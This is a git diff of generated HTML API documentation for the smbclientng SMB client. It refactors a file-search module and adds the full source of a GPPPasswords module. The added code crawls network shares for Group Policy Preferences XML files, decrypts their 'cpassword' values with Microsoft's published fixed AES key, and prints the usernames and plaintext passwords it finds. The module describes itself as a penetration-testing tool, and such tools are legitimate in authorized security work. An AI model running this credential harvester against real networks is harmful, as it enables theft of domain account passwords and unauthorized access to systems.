    42 # Adding positional arguments 43 parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.") 44 - 45 # Adding tests, actions, and options for expressions (incomplete for brevity) + 45 # Adding options for filtering 46 parser.add_argument("-name", type=str, help="Base of file name (the path with the leading directories removed).") 47 parser.add_argument("-iname", type=str, help="Like -name, but the match is case insensitive.") 48 parser.add_argument("-type", type=str, default=None, help="File type (e.g., f for regular file, d for directory).") @@ -373,7 +347,7 @@

    55 parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 56 parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 57 - 58 # Other options (incomplete for brevity) + 58 # Other options 59 parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.") 60 parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).") 61 @@ -390,181 +364,155 @@

    72 73 return self.options 74 - 75 def __recurse_action(self, paths=[], depth=0): - 76 """ - 77 Recursively searches for files in a directory hierarchy and prints the results based on specified criteria. - 78 - 79 Args: - 80 base_dir (str): The base directory to start the search from. - 81 paths (list): List of paths to search within the base directory. - 82 depth (int): The current depth level in the directory hierarchy. - 83 - 84 Returns: - 85 None - 86 """ - 87 - 88 next_directories_to_explore = [] + 75 def __find_callback(self, entry, fullpath, depth): + 76 # Documentation for __find_callback function + 77 """ + 78 This function serves as a callback for the find operation. It applies filters based on the command line arguments + 79 and decides whether to print, download, or list the entry in 'ls -dils' format if it matches the specified filters. + 80 + 81 Args: + 82 entry (SMBEntry): The current file or directory entry being processed. + 83 fullpath (str): The full path to the entry. + 84 + 85 The function checks against filters such as file name, case sensitivity, file type, and size. If the entry matches + 86 the filters, it will perform actions like printing the entry's details, downloading the entry, or listing the entry + 87 based on the options provided in the command line arguments. + 88 """ 89 - 90 for path in paths: - 91 remote_smb_path = ntpath.normpath(self.smbSession.smb_cwd + ntpath.sep + path) - 92 - 93 entries = [] - 94 try: - 95 entries = self.smbSession.smbClient.listPath( - 96 shareName=self.smbSession.smb_share, - 97 path=(remote_smb_path + ntpath.sep + '*') - 98 ) - 99 except impacket.smbconnection.SessionError as err: -100 continue -101 # Remove dot names -102 entries = [e for e in entries if e.get_longname() not in [".", ".."]] -103 # Sort the entries ignoring case -104 entries = sorted(entries, key=lambda x:x.get_longname().lower()) -105 -106 # Match and print results -107 do_print_results = True -108 if self.options.mindepth is not None: -109 if depth < self.options.mindepth: -110 do_print_results = False -111 if self.options.maxdepth is not None: -112 if depth > self.options.maxdepth: -113 do_print_results = False -114 -115 if do_print_results: -116 for entry in entries: -117 do_print_entry = False -118 # Print directory -119 if entry.is_directory(): -120 if (self.options.type == 'd' or self.options.type is None): -121 # No name filtering -122 if self.options.name is None and self.options.iname is None: -123 do_print_entry = True -124 -125 # Filtering on names case sensitive -126 elif self.options.name is not None: -127 if '*' in self.options.name: -128 regex = self.options.name -129 regex = regex.replace('.', '\\.') -130 regex = regex.replace('*', '.*') -131 regex = '^' + regex + '$' -132 if re.match(regex, entry.get_longname()): -133 do_print_entry = True -134 else: -135 do_print_entry = False -136 else: -137 do_print_entry = (entry.get_longname().lower() == self.options.name.lower()) -138 -139 # Filtering on names case insensitive -140 elif self.options.iname is not None: -141 if '*' in self.options.iname: -142 regex = self.options.iname -143 regex = regex.replace('.', '\\.') -144 regex = regex.replace('*', '.*') -145 regex = '^' + regex + '$' -146 if re.match(regex, entry.get_longname(), re.IGNORECASE): -147 do_print_entry = True -148 else: -149 do_print_entry = False -150 else: -151 do_print_entry = (entry.get_longname().lower() == self.options.iname.lower()) -152 -153 # Print file -154 else: -155 if (self.options.type == 'f' or self.options.type is None): -156 # No name filtering -157 if self.options.name is None and self.options.iname is None: -158 do_print_entry = True -159 -160 # Filtering on names case sensitive -161 elif self.options.name is not None: -162 if '*' in self.options.name: -163 regex = self.options.name -164 regex = regex.replace('.', '\\.') -165 regex = regex.replace('*', '.*') -166 regex = '^' + regex + '$' -167 if re.match(regex, entry.get_longname()): -168 do_print_entry = True -169 else: -170 do_print_entry = False -171 else: -172 do_print_entry = (entry.get_longname().lower() == self.options.name.lower()) -173 -174 # Filtering on names case insensitive -175 elif self.options.iname is not None: -176 if '*' in self.options.iname: -177 regex = self.options.iname -178 regex = regex.replace('.', '\\.') -179 regex = regex.replace('*', '.*') -180 regex = '^' + regex + '$' -181 if re.match(regex, entry.get_longname(), re.IGNORECASE): -182 do_print_entry = True -183 else: -184 do_print_entry = False -185 else: -186 do_print_entry = (entry.get_longname().lower() == self.options.iname.lower()) -187 -188 if do_print_entry: -189 # Actions on matches -190 if self.options.download: -191 if entry.is_directory(): -192 self.smbSession.get_file_recursively(path=(path + entry.get_longname() + ntpath.sep)) -193 else: -194 self.smbSession.get_file(path=(path + entry.get_longname() + ntpath.sep), keepRemotePath=True) -195 # Output formats -196 if self.options.ls: -197 if entry.is_directory(): -198 windows_ls_entry(entry, (path + entry.get_longname() + ntpath.sep)) -199 else: -200 windows_ls_entry(entry, (path + entry.get_longname())) -201 else: -202 if entry.is_directory(): -203 print("%s" % (path + entry.get_longname() + ntpath.sep)) -204 else: -205 print("%s" % (path + entry.get_longname())) + 90 # Match and print results + 91 do_print_results = True + 92 if self.options.mindepth is not None: + 93 if depth < self.options.mindepth: + 94 do_print_results = False + 95 if self.options.maxdepth is not None: + 96 if depth > self.options.maxdepth: + 97 do_print_results = False + 98 + 99 if do_print_results: +100 do_print_entry = False +101 # Print directory +102 if entry.is_directory(): +103 if (self.options.type == 'd' or self.options.type is None): +104 # No name filtering +105 if self.options.name is None and self.options.iname is None: +106 do_print_entry = True +107 +108 # Filtering on names case sensitive +109 elif self.options.name is not None: +110 if '*' in self.options.name: +111 regex = self.options.name +112 regex = regex.replace('.', '\\.') +113 regex = regex.replace('*', '.*') +114 regex = '^' + regex + '$' +115 if re.match(regex, entry.get_longname()): +116 do_print_entry = True +117 else: +118 do_print_entry = False +119 else: +120 do_print_entry = (entry.get_longname().lower() == self.options.name.lower()) +121 +122 # Filtering on names case insensitive +123 elif self.options.iname is not None: +124 if '*' in self.options.iname: +125 regex = self.options.iname +126 regex = regex.replace('.', '\\.') +127 regex = regex.replace('*', '.*') +128 regex = '^' + regex + '$' +129 if re.match(regex, entry.get_longname(), re.IGNORECASE): +130 do_print_entry = True +131 else: +132 do_print_entry = False +133 else: +134 do_print_entry = (entry.get_longname().lower() == self.options.iname.lower()) +135 +136 # Print file +137 else: +138 if (self.options.type == 'f' or self.options.type is None): +139 # No name filtering +140 if self.options.name is None and self.options.iname is None: +141 do_print_entry = True +142 +143 # Filtering on names case sensitive +144 elif self.options.name is not None: +145 if '*' in self.options.name: +146 regex = self.options.name +147 regex = regex.replace('.', '\\.') +148 regex = regex.replace('*', '.*') +149 regex = '^' + regex + '$' +150 if re.match(regex, entry.get_longname()): +151 do_print_entry = True +152 else: +153 do_print_entry = False +154 else: +155 do_print_entry = (entry.get_longname().lower() == self.options.name.lower()) +156 +157 # Filtering on names case insensitive +158 elif self.options.iname is not None: +159 if '*' in self.options.iname: +160 regex = self.options.iname +161 regex = regex.replace('.', '\\.') +162 regex = regex.replace('*', '.*') +163 regex = '^' + regex + '$' +164 if re.match(regex, entry.get_longname(), re.IGNORECASE): +165 do_print_entry = True +166 else: +167 do_print_entry = False +168 else: +169 do_print_entry = (entry.get_longname().lower() == self.options.iname.lower()) +170 +171 if do_print_entry: +172 # Actions on matches +173 if self.options.download: +174 if entry.is_directory(): +175 self.smbSession.get_file_recursively(path=fullpath) +176 else: +177 self.smbSession.get_file(path=fullpath, keepRemotePath=True) +178 # Output formats +179 if self.options.ls: +180 if entry.is_directory(): +181 windows_ls_entry(entry, fullpath) +182 else: +183 windows_ls_entry(entry, fullpath) +184 else: +185 if entry.is_directory(): +186 print("%s" % fullpath) +187 else: +188 print("%s" % fullpath) +189 +190 return None +191 +192 def run(self, arguments): +193 """ +194 This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria. +195 +196 Args: +197 base_dir (str): The base directory to start the search from. +198 paths (list): List of paths to search within the base directory. +199 depth (int): The current depth level in the directory hierarchy. +200 +201 Returns: +202 None +203 """ +204 +205 self.options = self.parseArgs(arguments=arguments) 206 -207 # Next directories to explore -208 for entry in entries: -209 if entry.is_directory(): -210 next_directories_to_explore.append(path + entry.get_longname() + ntpath.sep) -211 -212 return next_directories_to_explore -213 -214 def run(self, arguments): -215 """ -216 This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria. -217 -218 Args: -219 base_dir (str): The base directory to start the search from. -220 paths (list): List of paths to search within the base directory. -221 depth (int): The current depth level in the directory hierarchy. -222 -223 Returns: -224 None -225 """ -226 -227 self.options = self.parseArgs(arguments=arguments) -228 -229 if self.options is not None: -230 # Entrypoint -231 try: -232 next_directories_to_explore = [] -233 for path in list(set(self.options.paths)): -234 next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep) -235 next_directories_to_explore = sorted(list(set(next_directories_to_explore))) -236 -237 depth = 0 -238 -239 while len(next_directories_to_explore) != 0: -240 next_directories_to_explore = self.__recurse_action( -241 paths=next_directories_to_explore, -242 depth=depth -243 ) -244 depth = depth + 1 -245 -246 except (BrokenPipeError, KeyboardInterrupt) as e: -247 print("[!] Interrupted.") -248 self.smbSession.close_smb_session() -249 self.smbSession.init_smb_session() +207 if self.options is not None: +208 # Entrypoint +209 try: +210 next_directories_to_explore = [] +211 for path in list(set(self.options.paths)): +212 next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep) +213 next_directories_to_explore = sorted(list(set(next_directories_to_explore))) +214 +215 self.smbSession.find( +216 paths=next_directories_to_explore, +217 callback=self.__find_callback +218 ) +219 +220 except (BrokenPipeError, KeyboardInterrupt) as e: +221 print("[!] Interrupted.") +222 self.smbSession.close_smb_session() +223 self.smbSession.init_smb_session() @@ -627,7 +575,7 @@

    42 # Adding positional arguments 43 parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.") 44 -45 # Adding tests, actions, and options for expressions (incomplete for brevity) +45 # Adding options for filtering 46 parser.add_argument("-name", type=str, help="Base of file name (the path with the leading directories removed).") 47 parser.add_argument("-iname", type=str, help="Like -name, but the match is case insensitive.") 48 parser.add_argument("-type", type=str, default=None, help="File type (e.g., f for regular file, d for directory).") @@ -640,7 +588,7 @@

    55 parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 56 parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.") 57 -58 # Other options (incomplete for brevity) +58 # Other options 59 parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.") 60 parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).") 61 @@ -683,42 +631,38 @@

    -
    214    def run(self, arguments):
    -215        """
    -216        This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.
    -217
    -218        Args:
    -219            base_dir (str): The base directory to start the search from.
    -220            paths (list): List of paths to search within the base directory.
    -221            depth (int): The current depth level in the directory hierarchy.
    -222
    -223        Returns:
    -224            None
    -225        """
    -226
    -227        self.options = self.parseArgs(arguments=arguments)
    -228
    -229        if self.options is not None:
    -230            # Entrypoint
    -231            try:
    -232                next_directories_to_explore = []
    -233                for path in list(set(self.options.paths)):
    -234                    next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep)
    -235                next_directories_to_explore = sorted(list(set(next_directories_to_explore)))
    -236                
    -237                depth = 0
    -238                
    -239                while len(next_directories_to_explore) != 0:
    -240                    next_directories_to_explore = self.__recurse_action(
    -241                        paths=next_directories_to_explore,
    -242                        depth=depth
    -243                    )
    -244                    depth = depth + 1
    -245
    -246            except (BrokenPipeError, KeyboardInterrupt) as e:
    -247                print("[!] Interrupted.")
    -248                self.smbSession.close_smb_session()
    -249                self.smbSession.init_smb_session()
    +            
    192    def run(self, arguments):
    +193        """
    +194        This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.
    +195
    +196        Args:
    +197            base_dir (str): The base directory to start the search from.
    +198            paths (list): List of paths to search within the base directory.
    +199            depth (int): The current depth level in the directory hierarchy.
    +200
    +201        Returns:
    +202            None
    +203        """
    +204
    +205        self.options = self.parseArgs(arguments=arguments)
    +206
    +207        if self.options is not None:
    +208            # Entrypoint
    +209            try:
    +210                next_directories_to_explore = []
    +211                for path in list(set(self.options.paths)):
    +212                    next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep)
    +213                next_directories_to_explore = sorted(list(set(next_directories_to_explore)))
    +214                
    +215                self.smbSession.find(
    +216                    paths=next_directories_to_explore,
    +217                    callback=self.__find_callback
    +218                )
    +219
    +220            except (BrokenPipeError, KeyboardInterrupt) as e:
    +221                print("[!] Interrupted.")
    +222                self.smbSession.close_smb_session()
    +223                self.smbSession.init_smb_session()
     
    diff --git a/documentation/smbclientng/modules/GPPPasswords.html b/documentation/smbclientng/modules/GPPPasswords.html new file mode 100644 index 0000000..87a024a --- /dev/null +++ b/documentation/smbclientng/modules/GPPPasswords.html @@ -0,0 +1,1164 @@ + + + + + + + smbclientng.modules.GPPPasswords API documentation + + + + + + + + + +
    +
    +

    +smbclientng.modules.GPPPasswords

    + + + + + + +
      1#!/usr/bin/env python3
    +  2# -*- coding: utf-8 -*-
    +  3# File name          : GPPPasswords.py
    +  4# Author             : Podalirius (@podalirius_)
    +  5# Date created       : 02 june 2024
    +  6
    +  7
    +  8import base64
    +  9import charset_normalizer
    + 10from Cryptodome.Cipher import AES
    + 11from Cryptodome.Util.Padding import unpad
    + 12import impacket
    + 13import io
    + 14import ntpath
    + 15import re
    + 16from smbclientng.core.Module import Module
    + 17from smbclientng.core.ModuleArgumentParser import ModuleArgumentParser
    + 18from smbclientng.core.utils import windows_ls_entry
    + 19import xml
    + 20from xml.dom import minidom
    + 21
    + 22
    + 23class GPPPasswords(Module):
    + 24    """
    + 25    GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. 
    + 26    It leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files.
    + 27
    + 28    This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices.
    + 29
    + 30    Attributes:
    + 31        name (str): The name of the module, used in command line invocation.
    + 32        description (str): A brief description of what the module does.
    + 33
    + 34    Methods:
    + 35        parseArgs(arguments): Parses and handles command line arguments for the module.
    + 36        parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials.
    + 37    """
    + 38
    + 39    name = "gpppasswords"
    + 40    description = "Searches for Group Policy Preferences Passwords in a share."
    + 41
    + 42    def parseArgs(self, arguments):
    + 43        """
    + 44        Parses the command line arguments provided to the module.
    + 45
    + 46        This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.
    + 47
    + 48        Args:
    + 49            arguments (str): A string of command line arguments.
    + 50
    + 51        Returns:
    + 52            ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.
    + 53        """
    + 54
    + 55        parser = ModuleArgumentParser(prog=self.name, description=self.description)
    + 56
    + 57        # Adding positional arguments
    + 58        parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.")
    + 59
    + 60        # Adding actions
    + 61        parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
    + 62        parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
    + 63
    + 64        # Other options
    + 65        parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.")
    + 66        parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).")
    + 67
    + 68        if len(arguments.strip()) == 0:
    + 69            parser.print_help()
    + 70            return None
    + 71        else:
    + 72            self.options = self.processArguments(parser, arguments)
    + 73
    + 74        return self.options
    + 75
    + 76    def parse_xmlfile_content(self, pathtofile):
    + 77        """
    + 78        Parses the content of an XML file to extract credentials related to Group Policy Preferences.
    + 79
    + 80        This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.
    + 81
    + 82        Args:
    + 83            pathtofile (str): The path to the XML file on the SMB share.
    + 84
    + 85        Returns:
    + 86            list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.
    + 87        """
    + 88
    + 89        results = []
    + 90        fh = io.BytesIO()
    + 91        try:
    + 92            # opening the files in streams instead of mounting shares allows for running the script from
    + 93            # unprivileged containers
    + 94            self.smbSession.smbClient.getFile(self.smbSession.smb_share, pathtofile, fh.write)
    + 95        except impacket.smbconnection.SessionError as e:
    + 96            return results
    + 97        except Exception as e:
    + 98            raise
    + 99        rawdata = fh.getvalue()
    +100        fh.close()
    +101        gppp_found = False
    +102        encoding = charset_normalizer.detect(rawdata)["encoding"]
    +103        if encoding is not None:
    +104            filecontent = rawdata.decode(encoding).rstrip()
    +105            if "cpassword" in filecontent:
    +106                gppp_found = True
    +107            else:
    +108                if self.config.debug:
    +109                    print("[debug] No cpassword was found in %s" % pathtofile)
    +110    
    +111        if gppp_found:
    +112            try:
    +113                root = minidom.parseString(filecontent)
    +114                xmltype = root.childNodes[0].tagName
    +115                # function to get attribute if it exists, returns "" if empty
    +116                read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "")
    +117
    +118                # ScheduledTasks
    +119                if xmltype == "ScheduledTasks":
    +120                    for topnode in root.childNodes:
    +121                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
    +122                        for task in task_nodes:
    +123                            for property in task.getElementsByTagName("Properties"):
    +124                                results.append({
    +125                                    "tagName": xmltype,
    +126                                    "attributes": {
    +127                                        "username": read_or_empty(task, "name"),
    +128                                        "runAs": read_or_empty(property, "runAs"),
    +129                                        "cpassword": read_or_empty(property, "cpassword"),
    +130                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
    +131                                        "changed": read_or_empty(property.parentNode, "changed"),
    +132                                    },
    +133                                    "file": pathtofile
    +134                                })
    +135                elif xmltype == "Groups":
    +136                    for topnode in root.childNodes:
    +137                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
    +138                        for task in task_nodes:
    +139                            for property in task.getElementsByTagName("Properties"):
    +140                                results.append({
    +141                                    "tagName": xmltype,
    +142                                    "attributes": {
    +143                                        "username": read_or_empty(property, "newName"),
    +144                                        # "userName": read_or_empty(property, "userName"),
    +145                                        "cpassword": read_or_empty(property, "cpassword"),
    +146                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
    +147                                        "changed": read_or_empty(property.parentNode, "changed"),
    +148                                    },
    +149                                    "file": pathtofile
    +150                                })
    +151                else:
    +152                    for topnode in root.childNodes:
    +153                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
    +154                        for task in task_nodes:
    +155                            for property in task.getElementsByTagName("Properties"):
    +156                                results.append({
    +157                                    "tagName": xmltype,
    +158                                    "attributes": {
    +159                                        "username": read_or_empty(property, "newName"),
    +160                                        # "userName": read_or_empty(property, "userName"),
    +161                                        "cpassword": read_or_empty(property, "cpassword"),
    +162                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
    +163                                        "changed": read_or_empty(property.parentNode, "changed"),
    +164                                    },
    +165                                    "file": pathtofile
    +166                                })
    +167
    +168            except Exception as e:
    +169                raise
    +170
    +171        return results
    +172
    +173    def decrypt_password(self, pw_enc_b64):
    +174        """
    +175        Decrypts a password from its Base64 encoded form using a known AES key and IV.
    +176
    +177        This method takes a Base64 encoded string which is encrypted using AES-CBC with a fixed key and IV as per Microsoft's published details. It decodes the Base64 string, decrypts it using the AES key and IV, and returns the plaintext password.
    +178
    +179        Args:
    +180            pw_enc_b64 (str): The Base64 encoded string of the encrypted password.
    +181
    +182        Returns:
    +183            str: The decrypted password in plaintext, or an empty string if input is empty or decryption fails.
    +184        """
    +185
    +186        if len(pw_enc_b64) != 0:
    +187            # Thank you Microsoft for publishing the key :)
    +188            # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be
    +189            key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
    +190            # Thank you Microsoft for using a fixed IV :)
    +191            iv = b"\x00" * 16
    +192            pad = len(pw_enc_b64) % 4
    +193            if pad == 1:
    +194                pw_enc_b64 = pw_enc_b64[:-1]
    +195            elif pad == 2 or pad == 3:
    +196                pw_enc_b64 += "=" * (4 - pad)
    +197            pw_enc = base64.b64decode(pw_enc_b64)
    +198            ctx = AES.new(key, AES.MODE_CBC, iv)
    +199            pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
    +200            return pw_dec.decode("utf-16-le")
    +201        else:
    +202            # cpassword is empty, cannot decrypt anything.
    +203            return ""
    +204
    +205    def __find_callback(self, entry, fullpath, depth):
    +206        """
    +207        Callback function for SMB session find method. This function is called for each entry found in the search.
    +208
    +209        This function checks if the entry is a file with an '.xml' extension. If it is, it parses the XML content to extract relevant data such as usernames and passwords. It then prints the file path and the extracted data if the current depth is within the specified minimum and maximum depth range.
    +210
    +211        Args:
    +212            entry (SMBEntry): The current file or directory entry being processed.
    +213            fullpath (str): The full path to the current entry.
    +214            depth (int): Depth of the path.
    +215            
    +216        Returns:
    +217            None: This function does not return any value.
    +218        """
    +219
    +220        # Match and print results
    +221        do_print_results = True
    +222        if self.options.mindepth is not None:
    +223            if depth < self.options.mindepth:
    +224                do_print_results = False
    +225        if self.options.maxdepth is not None:
    +226            if depth > self.options.maxdepth:
    +227                do_print_results = False
    +228        
    +229        if do_print_results:
    +230            if (not entry.is_directory()) and (entry.get_longname().lower().endswith('.xml')):
    +231                data = self.parse_xmlfile_content(fullpath)
    +232                if data is not None:
    +233                    if len(data) != 0:
    +234                        print("[+] %s" % fullpath)
    +235                        for entry in data:
    +236                            if self.config.no_colors:
    +237                                print("  | username: '%s'" % entry["attributes"]["username"])
    +238                                print("  | password: '%s'" % entry["attributes"]["password"])
    +239                            else:
    +240                                print("  | \x1b[94musername\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["username"])
    +241                                print("  | \x1b[94mpassword\x1b[0m: '\x1b[93m%s\x1b[0m'" % entry["attributes"]["password"])
    +242                            if len(data) > 1:
    +243                                print("|")
    +244        return None
    +245
    +246    def run(self, arguments):
    +247        """
    +248        This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.
    +249
    +250        Args:
    +251            base_dir (str): The base directory to start the search from.
    +252            paths (list): List of paths to search within the base directory.
    +253            depth (int): The current depth level in the directory hierarchy.
    +254
    +255        Returns:
    +256            None
    +257        """
    +258
    +259        self.options = self.parseArgs(arguments=arguments)
    +260
    +261        if self.options is not None:
    +262            # Entrypoint
    +263            try:
    +264                next_directories_to_explore = []
    +265                for path in list(set(self.options.paths)):
    +266                    next_directories_to_explore.append(ntpath.normpath(path) + ntpath.sep)
    +267                next_directories_to_explore = sorted(list(set(next_directories_to_explore)))
    +268                
    +269                self.smbSession.find(
    +270                    paths=next_directories_to_explore,
    +271                    callback=self.__find_callback
    +272                )
    +273
    +274            except (BrokenPipeError, KeyboardInterrupt) as e:
    +275                print("[!] Interrupted.")
    +276                self.smbSession.close_smb_session()
    +277                self.smbSession.init_smb_session()
    +
    + + +
    +
    + +
    + + class + GPPPasswords(smbclientng.core.Module.Module): + + + +
    + +
     24class GPPPasswords(Module):
    + 25    """
    + 26    GPPPasswords is a module designed to search and retrieve stored Group Policy Preferences (GPP) passwords from specified network shares. 
    + 27    It leverages the SMB protocol to access files across the network, parse them, and extract credentials that are often stored within Group Policy Preferences files.
    + 28
    + 29    This module is particularly useful in penetration testing scenarios where discovering stored credentials can lead to further system access or reveal poor security practices.
    + 30
    + 31    Attributes:
    + 32        name (str): The name of the module, used in command line invocation.
    + 33        description (str): A brief description of what the module does.
    + 34
    + 35    Methods:
    + 36        parseArgs(arguments): Parses and handles command line arguments for the module.
    + 37        parse_xmlfile_content(pathtofile): Parses the content of an XML file to extract credentials.
    + 38    """
    + 39
    + 40    name = "gpppasswords"
    + 41    description = "Searches for Group Policy Preferences Passwords in a share."
    + 42
    + 43    def parseArgs(self, arguments):
    + 44        """
    + 45        Parses the command line arguments provided to the module.
    + 46
    + 47        This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.
    + 48
    + 49        Args:
    + 50            arguments (str): A string of command line arguments.
    + 51
    + 52        Returns:
    + 53            ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.
    + 54        """
    + 55
    + 56        parser = ModuleArgumentParser(prog=self.name, description=self.description)
    + 57
    + 58        # Adding positional arguments
    + 59        parser.add_argument("paths", metavar="PATH", type=str, nargs="*", default=[], help="The starting point(s) for the search.")
    + 60
    + 61        # Adding actions
    + 62        parser.add_argument("-ls", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
    + 63        parser.add_argument("-download", action="store_true", default=False, help="List current file in ls -dils format on standard output.")
    + 64
    + 65        # Other options
    + 66        parser.add_argument("-maxdepth", type=int, help="Descend at most levels (a non-negative integer) levels of directories below the command line arguments.")
    + 67        parser.add_argument("-mindepth", type=int, help="Do not apply any tests or actions at levels less than levels (a non-negative integer).")
    + 68
    + 69        if len(arguments.strip()) == 0:
    + 70            parser.print_help()
    + 71            return None
    + 72        else:
    + 73            self.options = self.processArguments(parser, arguments)
    + 74
    + 75        return self.options
    + 76
    + 77    def parse_xmlfile_content(self, pathtofile):
    + 78        """
    + 79        Parses the content of an XML file to extract credentials related to Group Policy Preferences.
    + 80
    + 81        This method attempts to retrieve and parse the content of the specified XML file from the SMB share. It looks for credentials stored within the XML structure, specifically targeting the 'cpassword' attribute which is commonly used for storing encrypted passwords in Group Policy Preferences files.
    + 82
    + 83        Args:
    + 84            pathtofile (str): The path to the XML file on the SMB share.
    + 85
    + 86        Returns:
    + 87            list: A list of dictionaries, each containing details about found credentials such as username, encrypted and decrypted passwords, and other relevant attributes.
    + 88        """
    + 89
    + 90        results = []
    + 91        fh = io.BytesIO()
    + 92        try:
    + 93            # opening the files in streams instead of mounting shares allows for running the script from
    + 94            # unprivileged containers
    + 95            self.smbSession.smbClient.getFile(self.smbSession.smb_share, pathtofile, fh.write)
    + 96        except impacket.smbconnection.SessionError as e:
    + 97            return results
    + 98        except Exception as e:
    + 99            raise
    +100        rawdata = fh.getvalue()
    +101        fh.close()
    +102        gppp_found = False
    +103        encoding = charset_normalizer.detect(rawdata)["encoding"]
    +104        if encoding is not None:
    +105            filecontent = rawdata.decode(encoding).rstrip()
    +106            if "cpassword" in filecontent:
    +107                gppp_found = True
    +108            else:
    +109                if self.config.debug:
    +110                    print("[debug] No cpassword was found in %s" % pathtofile)
    +111    
    +112        if gppp_found:
    +113            try:
    +114                root = minidom.parseString(filecontent)
    +115                xmltype = root.childNodes[0].tagName
    +116                # function to get attribute if it exists, returns "" if empty
    +117                read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "")
    +118
    +119                # ScheduledTasks
    +120                if xmltype == "ScheduledTasks":
    +121                    for topnode in root.childNodes:
    +122                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
    +123                        for task in task_nodes:
    +124                            for property in task.getElementsByTagName("Properties"):
    +125                                results.append({
    +126                                    "tagName": xmltype,
    +127                                    "attributes": {
    +128                                        "username": read_or_empty(task, "name"),
    +129                                        "runAs": read_or_empty(property, "runAs"),
    +130                                        "cpassword": read_or_empty(property, "cpassword"),
    +131                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
    +132                                        "changed": read_or_empty(property.parentNode, "changed"),
    +133                                    },
    +134                                    "file": pathtofile
    +135                                })
    +136                elif xmltype == "Groups":
    +137                    for topnode in root.childNodes:
    +138                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
    +139                        for task in task_nodes:
    +140                            for property in task.getElementsByTagName("Properties"):
    +141                                results.append({
    +142                                    "tagName": xmltype,
    +143                                    "attributes": {
    +144                                        "username": read_or_empty(property, "newName"),
    +145                                        # "userName": read_or_empty(property, "userName"),
    +146                                        "cpassword": read_or_empty(property, "cpassword"),
    +147                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
    +148                                        "changed": read_or_empty(property.parentNode, "changed"),
    +149                                    },
    +150                                    "file": pathtofile
    +151                                })
    +152                else:
    +153                    for topnode in root.childNodes:
    +154                        task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
    +155                        for task in task_nodes:
    +156                            for property in task.getElementsByTagName("Properties"):
    +157                                results.append({
    +158                                    "tagName": xmltype,
    +159                                    "attributes": {
    +160                                        "username": read_or_empty(property, "newName"),
    +161                                        # "userName": read_or_empty(property, "userName"),
    +162                                        "cpassword": read_or_empty(property, "cpassword"),
    +163                                        "password": self.decrypt_password(read_or_empty(property, "cpassword")),
    +164                                        "changed": read_or_empty(property.parentNode, "changed"),
    +165                                    },
    +166                                    "file": pathtofile
    +167                                })
    +168
    +169            except Exception as e:
    +170                raise
    +171
    +172        return results
    +173
    +174    def decrypt_password(self, pw_enc_b64):
    +175        """
